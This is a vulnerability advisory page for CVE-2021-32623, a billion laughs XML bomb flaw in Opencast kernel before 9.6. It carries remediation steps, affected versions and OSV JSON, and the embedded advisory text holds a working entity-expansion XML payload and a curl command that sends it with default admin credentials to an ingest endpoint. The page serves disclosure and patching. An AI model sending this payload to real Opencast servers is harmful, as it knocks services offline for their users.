CVE-2021-32623: Opencast kernel Billion Laughs Attack (XML Bomb) Vulnerability
HIGHCVE-2021-32623 is a HIGH (CVSS 8.1) billion laughs attack (xml bomb) vulnerability (CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')) affecting Opencast kernel libraries in the Maven ecosystem. The issue involves billion laughs attack (xml bomb). Remediation is available by upgrading affected packages to version 9.6.
CVE-2021-32623 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2021-32623
To remediate this vulnerability, upgrade all affected Opencast kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.opencastproject</groupId>
<artifactId>opencast-kernel</artifactId>
<version>9.6</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.opencastproject
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2021-32623, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.opencastproject
Analyze the terminal output to locate any version of Opencast kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.6), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.opencastproject command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion'), where the product uses xml documents and allows their structure to be defined with a document type definition (dtd), but it does not properly control the number of recursive definitions of entities. In Opencast kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2021-32623 Affected Opencast kernel Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.opencastproject:opencast-kernel
|
Maven |
< 9.6
|
9.6
|
References
Frequently Asked Questions
What is CVE-2021-32623?
Which Opencast kernel versions are affected?
What version fixes CVE-2021-32623?
Is opencast-kernel affected?
What is the CVSS score of CVE-2021-32623?
What CWE is associated with CVE-2021-32623?
How can I check Maven dependencies for CVE-2021-32623?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9gwx-9cwp-5c2m",
"modified" : "2021-10-21T13:40:37Z",
"published" : "2021-06-17T20:11:35Z",
"aliases" : [ "CVE-2021-32623" ],
"summary" : "Billion laughs attack (XML bomb)",
"details" : "### Impact\n\nOpencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.\n\nConsider an XML file (`createMediaPackage.xml`) like this:\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<!DOCTYPE lolz [\n <!ENTITY lol \"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. \">\n <!ELEMENT title (#PCDATA)>\n <!ENTITY lol1 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n <!ENTITY lol2 \"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;\">\n <!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n <!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n <!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n]>\n<mediapackage xmlns=\"http://mediapackage.opencastproject.org\" id=\"d162d5b2-b54f-4400-a268-ee6565b0e6e7\" start=\"2020-01-23T23:08:37Z\">\n <title>&lol5;</title>\n <media/>\n <metadata/>\n <attachments/>\n <publications/>\n</mediapackage>\n```\n\nThrowing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:\n\n```sh\ncurl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \\\n -F 'mediapackage=<createMediaPackage.xml' \\\n -F sourceFlavors=\"\" \\\n -F sourceTags=\"\" \\\n -F deleteExternal=\"\" \\\n -F tagsAndFlavor='' \\\n -o out.xml\n```\n\nAdditional notes:\n\n- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.\n- Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system. \n- To exploit this, users need to have ingest privileges, limiting the group of potential attackers\n\n### Patches\n\nThe problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.\n\n### Workarounds\n\nThere is no known workaround for this issue.\n\n### References\n\n- [Billion laughs attack explained](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.opencastproject:opencast-kernel"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "9.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/opencast/opencast/security/advisories/GHSA-9gwx-9cwp-5c2m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-32623"
}, {
"type" : "WEB",
"url" : "https://github.com/opencast/opencast/commit/16b0d641713fe31b8518fcf14fc5e4e815d81206"
}, {
"type" : "WEB",
"url" : "https://github.com/opencast/opencast/commit/8ae27da5a6f658011a5741b3210e715b0dc6213e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/opencast/opencast"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-776" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2021-06-16T20:07:19Z",
"nvd_published_at" : "2021-06-16T00:15:00Z"
}
}